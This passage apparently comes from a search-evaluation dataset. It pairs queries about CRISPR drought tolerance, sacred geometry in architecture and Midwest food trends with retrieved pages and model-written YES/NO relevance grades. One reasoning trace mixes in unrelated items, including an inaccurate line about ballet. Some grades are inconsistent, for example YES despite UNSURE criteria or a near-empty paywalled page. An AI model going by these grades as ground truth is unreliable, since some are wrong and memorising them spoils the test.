drought-induced osmotic stress, which reduces nutrient accessibility due to soil heterogeneity and limits nutrient access to the root system. Drought tolerance is a complex quantitative trait regulated by multiple genes, and it is one of the most challenging characteristics to study and classify. Fortunately, the clustered regularly interspaced short palindromic repeat (CRISPR) technology has paved the way as a new frontier in crop improvement, thereby revolutionizing plant breeding. ",
                "model_trace": "Query Decomposition:\n1. {recent review paper}: The document is a review paper published in 2021 -> ([1], SATISFIED)\n2. {summarizes the latest research}: The document is a review paper, which typically summarizes the latest research -> ([1], SATISFIED)\n3. {using CRISPR-Cas9}: The document specifically focuses on CRISPR-Cas9-based genetic engineering -> ([1], SATISFIED)\n4. {to engineer crops with improved drought resistance}: The document addresses crop improvement under drought stress using CRISPR-Cas9 -> ([1], SATISFIED)\n\nAssessment: All subcomponents are satisfied based on the document information provided. YES."
            },
            {
                "grade": "YES",
                "title": "Engineering drought tolerance in plants through CRISPR/Cas genome editing",
                "url": "https://link.springer.com/article/10.1007/s13205-020-02390-3",
                "published_date": "2020-08-19",
                "text": "Drought stress is primarily responsible for heavy yield losses and productivity in major crops and possesses the greatest threat to the global food security. While conventional and molecular breeding approaches along with genetic engineering techniques have been instrumental in developing drought-tolerant crop varieties, these methods are cumbersome, time consuming and the genetically modified varieties are not widely accepted due to regulatory concerns. Plant breeders are now increasingly centring towards the recently available genome-editing tools for improvement of agriculturally important traits. The advent of multiple sequence-specific nucleases has facilitated precise gene modification towards development of novel climate ready crop variants. Amongst the available genome-editing platforms, the clustered regularly interspaced short palindromic repeat-Cas (CRISPR/Cas) system has emerged as a revolutionary tool for its simplicity, adaptability, flexibility and wide applicability. In this review, we focus on understanding the molecular mechanism of drought response in plants and the application of CRISPR/Cas genome-editing system towards improved tolerance to drought stress.",
                "model_trace": "Query Decomposition:\n1. {recent review paper}: The document is a review paper published in 2020 -> ([1], SATISFIED)\n2. {summarizes the latest research on using CRISPR-Cas9}: The document focuses on the application of CRISPR/Cas genome-editing system towards improved tolerance to drought stress -> ([1], SATISFIED)\n3. {engineer crops with improved drought resistance}: The document specifically addresses engineering drought tolerance in plants using CRISPR/Cas -> ([1], SATISFIED)\n\nAssessment: All subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "CRISPR/Cas Genome Editing Technologies for Plant Improvement ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9736268/",
                "published_date": null,
                "text": "Journal List\n                \n            \n                \n                    Cells\n                \n            \n                \n                    PMC9736268\n                \n            \n    \n \n        \n        \n  \n        \n             Cells. 2022 Dec; 11(23): 3928.     Yaxin Wang,1, 2 Naeem Zafar,2 Qurban Ali,1 Hakim Manghwar,2 Guanying Wang,2 Lu Yu,2 Xiao Ding,2 Fang Ding,1, * Ni Hong,1 Guoping Wang,1 and  Shuangxia Jin 2, *   Jianxin Shi, Academic Editor    Abstract Crossbreeding, mutation breeding, and traditional transgenic breeding take much time to improve desirable characters/traits. CRISPR/Cas-mediated genome editing (GE) is a game-changing tool that can create variation in desired traits, such as biotic and abiotic resistance, increase quality and yield in less time with easy applications, high efficiency, and low cost in producing the targeted edits for rapid improvement of crop plants. Plant pathogens and the severe environment cause considerable crop losses worldwide. GE approaches have emerged and opened new doors for breeding multiple-resistance crop varieties. Here, we have summarized recent advances in CRISPR/Cas-mediated GE for resistance against biotic and abiotic stresses in a crop molecular breeding program that includes the modification and improvement of genes response to biotic stresses induced by fungus, virus, and bacterial pathogens. We also discussed in depth the application of CRISPR/Cas for abiotic stresses (herbicide, drought, heat, and cold) in plants. In addition, we discussed the limitations and future challenges faced by breeders using GE tools for crop improvement and suggested directions for future improvements in GE for agricultural applications, providing novel ideas to create super cultivars with broad resistance to biotic and abiotic stress.  Keywords:  CRISPR/Cas9, CRISPR/Cas12, CRISPR/Cas13, base editing, Prime Editing, biotic and abiotic stresses    1. Introduction Plants produce food, fuel, and feed, which are essential in daily human and animal life for nouris",
                "model_trace": "Query Decomposition:\n1. {recent review paper}: The document is a review paper published in 2022 -> ([1], SATISFIED)\n2. {summarizes the latest research on using CRISPR-Cas9}: The document summarizes recent advances in CRISPR/Cas-mediated genome editing for various stresses in crops -> ([1], SATISFIED)\n3. {to engineer crops with improved drought resistance}: The document specifically mentions the application of CRISPR/Cas for abiotic stresses including drought -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Advances in CRISPR/Cas9-based research related to soybean ...",
                "url": "https://www.frontiersin.org/journals/plant-science/articles/10.3389/fpls.2023.1247707/full",
                "published_date": null,
                "text": "REVIEW article  Front. Plant Sci. , 30 August 2023  \n      Sec. Plant Biotechnology\n         This article is part of the Research Topic Applications of Novel Gene Editing Tools and Approaches in Plants  View all 10 articles         Junming Zhou 1\u2020  Aijing Zhang3  Jiaxin Wang1  Yixuan Liu1  Lixue Wang1  Wenxuan Pi1  Zihao Li1  Wenjun Yue1  Jinliang Cai1  Huijing Liu1  Wenyuan Hao4*  Xiangchun Qu2*      1 College of Life Science, Jilin Agricultural University, Changchun, Jilin, China   2 Institute of Crop Resources, Jilin Provincial Academy of Agricultural Sciences, Gongzhuling, Jilin, China   3 College of Agronomy, Jilin Agricultural University, Changchun, China   4 Jilin Provincial Academy of Agricultural Sciences, Changchun, Jilin, China  Soybean [Glycine max (Linn.) Merr] is a source of plant-based proteins and an essential oilseed crop and industrial raw material. The increase in the demand for soybeans due to societal changes has coincided with the increase in the breeding of soybean varieties with enhanced traits. Earlier gene editing technologies involved zinc finger nucleases and transcription activator-like effector nucleases, but the third-generation gene editing technology uses clustered regularly interspaced short palindromic repeats (CRISPR)/CRISPR-associated protein 9 (Cas9). The rapid development of CRISPR/Cas9 technology has made it one of the most effective, straightforward, affordable, and user-friendly technologies for targeted gene editing. This review summarizes the application of CRISPR/Cas9 technology in soybean molecular breeding. More specifically, it provides an overview of the genes that have been targeted, the type of editing that occurs, the mechanism of action, and the efficiency of gene editing. Furthermore, suggestions for enhancing and accelerating the molecular breeding of novel soybean varieties with ideal traits (e.g., high yield, high quality, and durable disease resistance) are included.   1 Introduction Soybean is a significant source of vegetable proteins for humans and an i",
                "model_trace": "Query Decomposition:\n1. {recent review paper}: The document is a review article published on August 30, 2023 -> ([1], SATISFIED)\n2. {summarizes the latest research on using CRISPR-Cas9}: The document summarizes the application of CRISPR/Cas9 technology in soybean molecular breeding -> ([1], SATISFIED)\n3. {engineer crops with improved drought resistance}: The document mentions enhancing and accelerating the molecular breeding of novel soybean varieties with ideal traits but does not specifically mention drought resistance -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponents of being a recent review paper and summarizing the latest research on using CRISPR-Cas9. However, it is not clear if it specifically addresses engineering crops with improved drought resistance. Given that the document is highly relevant to the general topic of CRISPR-Cas9 in crop engineering, it is likely to be useful for a biology graduate student studying plant genetics, even if it does not specifically mention drought resistance.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Enhancing Crop Resilience to Drought Stress through CRISPR ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10303483/",
                "published_date": null,
                "text": "Journal List\n                \n            \n                \n                    Plants (Basel)\n                \n            \n                \n                    PMC10303483\n                \n            \n    \n \n        \n        \n  \n        \n             Plants (Basel). 2023 Jun; 12(12): 2306.     Gyanendra Kumar Rai,1, * Danish Mushtaq Khanday,2 Pradeep Kumar,3 Isha Magotra,1 Sadiya M. Choudhary,1 Rafia Kosser,1 Raviraj Kalunke,4 Maria Giordano,5, * Giandomenico Corrado,6 Youssef Rouphael,6 and  Sudhakar Pandey 7   Adi Avni, Academic Editor    Abstract With increasing frequency and severity of droughts in various parts of the world, agricultural productivity may suffer major setbacks. Among all the abiotic factors, drought is likely to have one of the most detrimental effects on soil organisms and plants. Drought is a major problem for crops because it limits the availability of water, and consequently nutrients which are crucial for plant growth and survival. This results in reduced crop yields, stunted growth, and even plant death, according to the severity and duration of the drought, the plant\u2019s developmental stage, and the plant\u2019s genetic background. The ability to withstand drought is a highly complex characteristic that is controlled by multiple genes, making it one of the most challenging attributes to study, classify, and improve. Clustered Regularly Interspaced Short Palindromic Repeat (CRISPR) technology has opened a new frontier in crop enhancement, revolutionizing plant molecular breeding. The current review provides a general understanding of principles as well as optimization of CRISPR system, and presents applications on genetic enhancement of crops, specifically in terms of drought resistance and yield. Moreover, we discuss how innovative genome editing techniques can aid in the identification and modification of genes conferring drought tolerance.  Keywords:  abiotic stress, drought tolerance, agriculture, yield, osmotic stress    1. Introduction Changes in climate factors such as precipitation ",
                "model_trace": "Query Decomposition:\n1. [Biology graduate student studying plant genetics]: This context helps understand the user's expertise level but does not need to be evaluated in the document -> ([0], UNSURE)\n2. [Recent review paper]: The document is a review paper published in 2023, which is recent -> ([1], SATISFIED)\n3. [Summarizes the latest research on using CRISPR-Cas9]: The document provides a general understanding of CRISPR principles and its applications in genetic enhancement of crops, specifically in terms of drought resistance -> ([1], SATISFIED)\n4. [Engineer crops with improved drought resistance]: The document discusses the use of CRISPR for genetic enhancement of crops for drought resistance -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            }
        ]
    },
    {
        "query": "5. I'm researching the use of sacred geometry principles in architectural design, particularly in ancient temples and religious structures. Can you explain what sacred geometry is and give some examples of how it was incorporated into the construction and layout of famous historical buildings?",
        "grid_pos": [
            2,
            9
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The Pembroke Welsh Corgi is a herding dog breed that originated in Pembrokeshire, Wales. They were first bred in the 10th century to help Welsh farmers herd cattle, sheep, and horses. Over time, the Pembroke Corgi became a popular companion animal due to its friendly, intelligent, and energetic personality.\n\n2. Some of the most renowned honey varieties include Manuka honey from New Zealand, which has a distinctive robust and slightly bitter flavor, Tupelo honey from the southeastern United States with its light, delicate taste, and Buckwheat honey from Eastern Europe known for its deep, rich, and earthy notes.\n\n3. The lotus flower is highly revered in many Eastern religions and philosophies, representing purity, enlightenment, and spiritual awakening. Its ability to grow from the mud into a beautiful flower symbolizes the journey from the material world to the divine. The lotus is especially significant in Hinduism, Buddhism, and ancient Egyptian mythology.\n\n4. Ballet originated in the 15th century Italian Renaissance courts and evolved over the centuries, with key figures like Marius Petipa, Tchaikovsky, and Nijinsky helping to shape it into the classical art form we know today. Ballet went through periods of both tradition and innovation, with choreographers like Isadora Duncan and Martha Graham introducing more modern and expressive styles.\n\n5. Sacred geometry refers to the use of mathematical principles and patterns found in nature, such as the golden ratio and Fibonacci sequence, in architectural design. These principles were often incorporated into the layout and ornamentation of ancient temples, churches, and other religious structures to create a sense of harmony, balance, and connection to the divine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Sacred Science of Ancient Temples by Dr. Lydia Gian de Le\u00f3n",
                "url": "https://www.resonancescience.org/the-sacred-science-of-ancient-temples",
                "published_date": "2023-01-01",
                "text": "A Resonance Academy Course from Faculty Member \nDr. Lydia Gian de Le\u00f3n\n A journey into Earth's fields, Natural Geometry, Archeoastronomy and Sacred Space\n\nAncient Temples \nby Dr. Lydia Gian. de Le\u00f3n\n \"Since I was very young, I was always fascinated by Ancient Temples... They looked this mysterious being, with so much to say, that I couldn't yet understand. I loved geometry, woven patterns, tesselation, geodesy, and the power of location and building space. Born in Greece, there is such an abundance of Monuments that mesmerized me... I always felt very influenced by an environment, and soon realized that I had a deep sensitivity which led to either being empowered or weakened by a space. I had big questions around this matter, and no matter what books I read, I didn't feel satisfied. I felt deep inside that there is more to it, there is a complex science that describes it, along with the power of symbols, geometry, and location that is directly linked with Temples.\"\n\nFrom the ancient past to modern times, humans have been experimenting with various architectural approaches to build their temples, according to the era, the specific functions and their own perception.\nNowadays, in spite of all the technological evolution and tools in our hands, there are still so many unanswered questions regarding the use and purpose of ancient temples and megalithic monuments:\n\nHow where they built, why were they built at locations with specific properties and with the use of particular material?\nWhat is sacred geometry and why was it incorporated in the design of ancient temples?\nWhy did the ancient people and later mystics and masons spend so much time, energy and resources to build these structures?\nWas it merely for divine worship or were there other functions more complex in nature?\n\nConsider this...\n\n\"Looking through the three elements of Temple creation - Earth Link, Building Design, Sky Connection- it becomes clearer that Temples were a complex technology used for various functions. They were an investment for peoples' wel",
                "model_trace": "Query Decomposition:\n1. {explain what sacred geometry is}: The document mentions sacred geometry and its incorporation in the design of ancient temples, suggesting it will explain the concept -> ([1], SATISFIED)\n2. {examples of how sacred geometry was incorporated into the construction and layout of famous historical buildings}: The document discusses the use of sacred geometry in ancient temples and implies it will cover specific examples -> ([2], SATISFIED)\n\nAssessment: The document appears to provide an explanation of sacred geometry and discusses its use in ancient temples, potentially including specific examples. Both key subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Vedic Hindu Temple Architecture (Vaastu) - Religions",
                "url": "https://www.booksfact.com/religions/vedic-hindu-temple-architecture-vaastu.html",
                "published_date": "2013-08-08",
                "text": "A Vedic Hindu temple\u2019s architecture is a divine and yogic representation of a human being as shown in the figure . The feet represent the spire (rajagopuram). The hands represent the walkway (prakaaram) encompassing all around the temple. The main hall (mandapam) represents the abdomen.\n The entrance porch (antaraalam) represents the heart. The sanctum sanctorum (garbha griha) represents the head. The deity is consecrated with religious rites in the sanctum sanctorum. There is proportionality between the size of the deity in the sanctum sanctorum and the sizes of the temple construction details. Now, whenever we come across any Hindu temple we often see couple of patterns. One sees fractal-like spires (shikharas), and other parts of the architecture which are self-similar to the unity of the whole. When we look at the symmetry of the temple we come across questions like, how exactly was this built? What was the basic architectural layout? What was the mathematical concept that was used & what kind of geometry that they possessed to construct such a temple? What kind of mathematical concepts they had used? We as in vedic world called as \u201cvedic maths or vedic geometry\u201d that possess such a technique that is used to construct the most advanced layout. No doubt that we are not getting advanced in technology, we are just declining in knowledge day by day\u2026 THE IDEA OF MULTIPLE ARCHETYPES SYMBOLIZED IN ABSTRACT FORMS It is necessary to consider some basic aspects of the Hindu worldview, overarching and under girding worldview concepts, to see how they form the background of specific sacred buildings in India. Those who are unfamiliar with Hinduism may not expect a simultaneous complex of ideas expressed in a massive structure. One might expect a single motif in a sacred structure \u2014 a temple in the shape of a chariot, or a church shaped like a ship with an up-pointed prow \u2013 and such one-theme structures do exist. But there are also Gothic cathedrals with designs that include a forest of spires, a floor plan which is cross",
                "model_trace": "Query Decomposition:\n1. {Explain what sacred geometry is}: The document does not provide a clear definition of sacred geometry -> ([0], UNSATISFIED)\n2. {Examples of sacred geometry in architectural design}: The document discusses the proportionality and fractal-like patterns in Vedic Hindu temple architecture, which can be related to sacred geometry principles -> ([2], SATISFIED)\n3. {Examples in ancient temples and religious structures}: The document provides examples related to Vedic Hindu temples, which are ancient religious structures -> ([1], SATISFIED)\n\nAssessment: The document does not provide a clear definition of sacred geometry but does offer examples of how sacred geometry principles are incorporated into the design of Vedic Hindu temples. Since the relevant subcomponents {Examples of sacred geometry in architectural design} and {Examples in ancient temples and religious structures} are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "CS Stories",
                "url": "https://citiesskylinesstories.blogspot.com/search/label/Temple",
                "published_date": "2020-03-09",
                "text": "#THOCS2E4 - CITIES AND CITIZENS\n\nFOUNDED CITIES: Athens, Lisbon, Beijing, Damascus, Varanasi, Xi'an, Cadiz, Pyongyang. LARGEST CITY IN THE WORLD: Thebes - Egypt (1500...\n\n#THOCS2E4 - IMPORTANT BUILDINGS\n\nLuxor Temple (1400 BC), Lion's Gate (1250 BC)\n\n#THOCS2E4 - ARCHITECTURE\n\nElegant architecture and art dominate the palaces. In 1400 BC concrete was invented.\n\n#S2E56 - Ecumenical / Ecum\u00eanicos\n\nAs christianity dominates the east, south and conquers the center of Atlas, buddhism begins to take hold in the west. In 774 the const...",
                "model_trace": "Query Decomposition:\n1. {Explanation of sacred geometry}: The document does not provide an explanation of sacred geometry -> ([0], UNSATISFIED)\n2. {Examples of sacred geometry in architectural design}: The document does not provide specific examples of sacred geometry in architectural design -> ([0], UNSATISFIED)\n3. {Focus on ancient temples and religious structures}: The document mentions historical buildings like Luxor Temple and Lion's Gate but does not focus on their architectural design or sacred geometry principles -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide an explanation of sacred geometry nor does it give examples of how sacred geometry was incorporated into the construction and layout of famous historical buildings. NO."
            },
            {
                "grade": "YES",
                "title": "The Role of Sacred Geometry in Ancient Architecture and Design",
                "url": "https://medium.com/@blog.spot/the-role-of-sacred-geometry-in-ancient-architecture-and-design-39dcb3d3ef5d",
                "published_date": null,
                "text": "Blog Spot     Follow                 4 min read   May 3, 2024             --          Throughout history, civilizations around the world have incorporated sacred geometry into their architecture and design, believing that certain geometric proportions and patterns hold profound symbolic and spiritual significance. From the pyramids of Egypt to the cathedrals of Europe, sacred geometry has been used to create structures that not only serve practical purposes but also\u2026    ||||I||||          Open in app\n            Sign up\n              Sign in\n                  Write\n              Sign up\n                Sign in\n                                Member-only story\n                        The Role of Sacred Geometry in Ancient Architecture and Design\n                                                Blog Spot\n                                          \u00b7\n                                          Follow\n                                        4 min read\n                                          \u00b7\n                                        May 3, 2024\n                                        --\n                                          Share\n                      Throughout history, civilizations around the world have incorporated sacred geometry into their architecture and design, believing that certain geometric proportions and patterns hold profound symbolic and spiritual significance. From the pyramids of Egypt to the cathedrals of Europe, sacred geometry has been used to create structures that not only serve practical purposes but also\u2026\n                        --\n                        --\n                    Follow\n                    Written by Blog Spot\n                      1.4K Followers\n                    Writing about life, culture, psychology, society, history, and the future.\n                    Follow\n                    Help\n                    Status\n                    About\n                    Careers\n                    Press\n                    Blog\n                    Privacy\n                    Terms\n    ",
                "model_trace": "Query Decomposition:\n1. {Explain what sacred geometry is}: The document mentions that sacred geometry involves certain geometric proportions and patterns holding symbolic and spiritual significance -> ([1], SATISFIED)\n2. {Examples of how sacred geometry was incorporated into the construction and layout of famous historical buildings}: The document references the pyramids of Egypt and the cathedrals of Europe as examples of sacred geometry in architecture -> ([1], SATISFIED)\n\nAssessment: The document provides an explanation of sacred geometry and mentions examples of its use in historical buildings. Both key subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Sacred Geometry: The Spiritual Meaning of Islamic Architectural ...",
                "url": "https://acsforum.org/sacred-geometry-the-spiritual-meaning-of-islamic-architectural-technologies/",
                "published_date": null,
                "text": "Nevine NasserOne Design Studio, London nevine@o-n-e-design.com\n  Keywords  : spirituality, design, practice, geometry, history, technology, symbolism  \n Introduction \n \u2018The study of sensible geometry leads to skill in all the practical arts, while the study of intelligible geometry leads to skill in the intellectual arts because this science is one of the gates through which we move to the knowledge of the essence of the soul, and that is the root of all knowledge.\u2019 1  \u2013 Ikhw\u0101n as-\u1e62af\u0101 \nThis paper studies the relationship between spirituality and architectural technology through exploring the use of sacred geometry within the context of the Islamic civilisation. The research sheds light on the ancient roots of geometry and its historical development as a technological and a hermeneutical tool in the Islamic tradition. It explores some of the ideas underpinning Islamic geometric design whilst discussing geometry\u2019s contemplative, symbolic and potentially transformative nature. The paper also explores phenomenological aspects of traditional geometry practice in view of metaphysical and psychological understandings of imaginative and intuitive creative processes. Finally, the research considers the enduring relevance of this approach to contemporary Islamic architectural practice in view of the proliferation of modern computer-based technologies.\n Ancient Origins \nThe relationship between mathematics and philosophy was very well established in antiquity as was the use of geometry as an architectural technology in construction. The use of geometry was evident in ancient Mesopotamian, Egyptian, Indian, Greek, Roman, Sassanian and Byzantine architecture. Although there is evidence that suggests the primacy of the Mesopotamian mathematical tradition, the remarkable similarity in mathematical problems, calculation techniques, and even diagrams particularly between the mathematics of ancient Mesopotamia, ancient Egypt and ancient Greece strongly suggest some sort of common scholarly tradition.2 Several Mesopotamian diagram",
                "model_trace": "Query Decomposition:\n1. {Explain what sacred geometry is}: The document provides an introduction to sacred geometry, particularly within the context of Islamic civilization, and discusses its historical development and symbolic nature -> ([1], SATISFIED)\n2. {Examples of sacred geometry in ancient temples and religious structures}: The document mentions the use of geometry in ancient Mesopotamian, Egyptian, Indian, Greek, Roman, Sassanian, and Byzantine architecture, but it does not provide specific examples of how sacred geometry was incorporated into the construction and layout of famous historical buildings -> ([2], UNSURE)\n\nAssessment: The document explains what sacred geometry is, satisfying the first subcomponent. However, it does not provide specific examples of sacred geometry in ancient temples and religious structures, making the second subcomponent UNSURE. Given the user's specific interest in examples, the document does not fully meet the query's requirements. NO."
            },
            {
                "grade": "YES",
                "title": "Sacred geometry - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Sacred_geometry",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t \n     \n Sacred geometry ascribes symbolic and sacred meanings to certain geometric shapes and certain geometric proportions. [1]  It is associated with the belief of a divine creator of the universal geometer. The geometry used in the design and construction of religious structures such as churches, temples, mosques, religious monuments, altars, and tabernacles has sometimes been considered sacred. The concept applies also to sacred spaces such as temenoi, sacred groves, village greens, pagodas and holy wells, Mandala Gardens and the creation of religious and spiritual art.\nAs worldview and cosmology[edit]\nThe belief that a god created the universe according to a geometric plan has ancient origins. Plutarch attributed the belief to Plato, writing that \"Plato said god geometrizes continually\" (Convivialium disputationum, liber 8,2). In modern times, the mathematician Carl Friedrich Gauss adapted this quote, saying \"God arithmetizes\". [2] \n  Johannes Kepler (1571\u20131630) believed in the geometric underpinnings of the cosmos. [3]  Harvard mathematician Shing-Tung Yau expressed a belief in the centrality of geometry in 2010:\n\"Lest one conclude that geometry is little more than a well-calibrated ruler \u2013 and this is no knock against the ruler, which happens to be a technology I admire \u2013 geometry is one of the main avenues available to us for probing the universe. Physics and cosmology have been, almost by definition, absolutely crucial for making sense of the universe. Geometry's role in this may be less obvious, but is equally vital. I would go so far as to say that geometry not only deserves a place at the table alongside physics and cosmology, but in many ways it is the table.\" [4] \nNatural forms[edit]\n     \nAccording to Stephen Skinner, the study of sacred geometry has its roots in the study of nature, and the mathematical principles at work therein. [5]  Many forms observed in nature can be related to geometry; for example, the chambered nautilus grows at a constant rate and s",
                "model_trace": "Query Decomposition:\n1. {What is sacred geometry}: The document explains that sacred geometry ascribes symbolic and sacred meanings to certain geometric shapes and proportions, and it mentions its association with the belief in a divine creator -> ([1], SATISFIED)\n2. {Examples of sacred geometry in architectural design}: The document mentions that sacred geometry is used in the design and construction of religious structures such as churches, temples, mosques, religious monuments, altars, and tabernacles -> ([1], SATISFIED)\n3. {Particularly in ancient temples and religious structures}: The document mentions the use of sacred geometry in religious structures, but it does not provide specific examples of ancient temples and religious structures -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponents that can be evaluated based on the provided content. It explains what sacred geometry is and mentions its application in architectural design, particularly in religious structures. Although it does not provide specific examples of ancient temples and religious structures, the information given is still relevant and useful for the user's query. YES."
            }
        ]
    },
    {
        "query": "I'm a food blogger living in Chicago. Can you recommend some new and interesting food trends or dishes I should write about that are popular in the Midwest region?",
        "grid_pos": [
            3,
            1
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries are designed to test Exa's capabilities in providing relevant and informative news results for personalized queries across a variety of topics that require an understanding of current trends, innovations, and discoveries. The queries involve the user providing some personal context about their interests, expertise, or location, which Exa should use to tailor the news results. The topics span areas like food, music, nature, politics, and biology, which require Exa to have broad knowledge and the ability to identify the most salient and novel information to include in the news results."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Cuisine of the Midwestern United States - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Cuisine_of_the_Midwestern_United_States",
                "published_date": "2001-10-26",
                "text": "Midwestern cuisine is a regional cuisine of the American Midwest. It draws its culinary roots most significantly from the cuisines of Central, Northern and Eastern Europe, and Native North America, and is influenced by regionally and locally grown foodstuffs [1] and cultural diversity. [2] \n Everyday Midwestern home cooking generally showcases simple and hearty dishes that make use of the abundance of locally grown foods. It has been described as \"no-frills homestead and farm food, exemplifying what is called typical American cuisine\". Some Midwesterners bake their own bread and pies and preserve food by canning and freezing it.\n\nBackground[edit]\nSometimes called \"the breadbasket of America\", the Midwest serves as a center for grain production, particularly wheat, corn and soybeans. [3] \n Beef and pork processing have long been important Midwestern industries. Chicago and Kansas City served as stockyards and processing centers of the beef trade and Cincinnati, nicknamed \"Porkopolis\", was once the largest pork-producing city in the world. [4] Iowa is the current center of pork production in the U.S. [5] \n Everyday Midwestern home cooking generally showcases simple and hearty dishes that make use of the abundance of locally grown foods. The traditions of canning and freezing summer foods is still practiced in modern times. It's not unheard of for pies and bread to be baked at home. [6]\n\nHistory[edit]\n\nOhio was one of the first Midwestern regions settled, mostly by farmers from the Thirteen Colonies, in 1788. Corn was the staple food, eaten at every meal. Ohio was abundant in fish, game and wild fruits. The settlers learned techniques of making venison jerky from Native Americans. They grew pumpkins, beans, potatoes and corn, and raised hogs. Apples, wheat and oats were introduced later. [6] \n Swedes, Norwegians and Finns began to settle the Midwest in the late 18th century, introducing rich, butter-laden cakes and cookies. [7] In addition to making cheese and butter, German and Swiss dairy farmers raised milk-fed v",
                "model_trace": "Query Decomposition:\n1. {New and interesting food trends or dishes}: The document provides historical and traditional information about Midwestern cuisine but does not focus on new or emerging food trends -> ([0], UNSATISFIED)\n2. {Popular in the Midwest region}: The document does cover food that is popular in the Midwest, but it is more about traditional and historical dishes rather than current trends -> ([1], UNSATISFIED)\n\nAssessment: The document does not provide information on new and interesting food trends or dishes that are currently popular in the Midwest region. It focuses on traditional and historical aspects of Midwestern cuisine, which does not align with the user's intent to find new trends to write about. NO."
            },
            {
                "grade": "YES",
                "title": "As Fat Tuesday Approaches, Paczki Are Becoming A Midwest Mania",
                "url": "https://www.forbes.com/sites/michelinemaynard/2020/02/23/as-fat-tuesday-approaches-paczki-are-becoming-a-midwest-mania/",
                "published_date": "2020-02-23",
                "text": "Poland's pastry gift to America is getting bigger and bigger. (Photo by Michal Fludra/NurPhoto via ... [+] Getty Images) NurPhoto via Getty Images \nIf your city has any sizeable Polish-American population, you\u2019ve probably heard of paczki.\nThey are rich, jelly doughnuts that have traditionally been a Fat Tuesday treat. Customers line up at Polish bakeries to get boxes of paczki, which they share with their families and friends.\n(By the way, the word is the same whether you are talking about an individual paczki or a box of paczki.)\nBut in many Midwest cities, Paczki (pronounced poonch-key) have pushed beyond Polish bakeries and into grocery stores, specialty markets, and gourmet shops that don\u2019t have any real ties to Eastern Europe.\nA number of places in the Detroit area began taking special orders weeks ago, helping customers skip the lines that are expected this week. And, bakers across the Midwest and other industrial cities are no longer sticking to traditional flavors such as prune, raspberry, plum and rose.\nThere are variations galore on paczki, including Nutella, strawberry cheesecake and sweet potato, and you can find gluten free and vegan ones.\nI first wrote about paczki for FORBES in 2012, when their popularity began spreading, but even I was amazed to see how many are out there this year.\nWhy they\u2019ve gotten big\nAmy Emberling, the managing partner for Zingerman\u2019s Bakehouse in Ann Arbor, Mich, theorizes that as people of Polish-American descent have moved out of Polish enclaves and into other neighborhoods, they\u2019ve introduced paczki to their friends and colleagues.\n\u201cIt could also be that Americans are generally more interested in lots of historical and ethic foods and this is a fun and tasty one,\u201d Emberling says.\nWhile many people think of paczki as simply Polish jelly doughnuts, Emberling says there\u2019s a special ingredient they may not realize is involved.\nTraditional paczki use Spirytus, a 192-proof alcohol. \n\u201cIt's supposed to stop the dough from absorbing fat while they fry,\u201d Emberling says. \u201cWe use it ",
                "model_trace": "Query Decomposition:\n1. {new and interesting food trends or dishes}: This document discusses the growing popularity of paczki, a traditional Polish pastry, in the Midwest -> ([1], SATISFIED)\n2. {popular in the Midwest region}: The document specifically mentions that paczki are becoming a mania in the Midwest, and provides examples from cities like Detroit and Ann Arbor -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by discussing a new and interesting food trend (paczki) that is gaining popularity in the Midwest region. YES."
            },
            {
                "grade": "YES",
                "title": "Snickers salad - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Snickers_salad",
                "published_date": "2009-01-27",
                "text": "From Wikipedia, the free encyclopedia\n\nSnickers salad A completed Snickers salad Course Salad Place of origin United States Region or state Upper Midwest Serving temperature Cold Main ingredients Snickers bars, Granny Smith apples, whipped topping \n Snickers salad is a dessert salad consisting of a mix of Snickers bars, Granny Smith apples, whipped cream and often pudding or whipped topping served in a bowl. [1] [2] It is a potluck and party staple in the Upper Midwest of the United States, where the \"salad\" is popular alongside glorified rice, Watergate salad, jello salad and hotdish.[ citation needed ] It is sometimes included in church cookbooks. [3] \n Snickers salad is easy to make; the ingredients are simply chopped and combined. [4] As to whether it is a salad or a dessert, popular lore has it that it depends on which end of the table it is sitting at. [3] \n The recipe for Snickers salad was included in a 2009 article \"Salads worthy of a church picnic\" in The Indianapolis Star . The author noted that \"Despite what all my community and church cookbooks would say, I don't think anything with marshmallows can really be called a salad.\" [5]\n\nSee also[edit]\n List of salads \n Food portal \nNotes[edit]\n\n^ Basheda, Lori (10 February 2007). \"Pill makes game grow\". Orange County Register . Retrieved 28 January 2009. Members routinely serve Snickers Salad, which has Cool Whip, marshmallows, cream cheese and chopped Snickers.\n\n^ Barlow, Melissa; Ashcraft, Stephanie (2006). Things to Do with a Salad: One Hundred One Things to Do With a Salad. Gibbs Smith. p. 113. ISBN 978-1-4236-0013-8 .\n\n^ a b Raetz Stuttgen, Joanne; Allen, Terese (2007). Cafe Wisconsin Cookbook . University of Wisconsin Press. ISBN 978-0-299-22274-1 .\n\n^ Prather, Diane (2 January 2009). \"Macaroni-Beef Skillet Supper\". Craig Daily Press. Archived from the original on 8 July 2011. Retrieved 28 January 2009. 'Snicker Salad' calls for: 1 bag mini Snicker bars, 6 apples (cut into bite-size pieces), 1 large jar marshmallow cream, and a large container of whi",
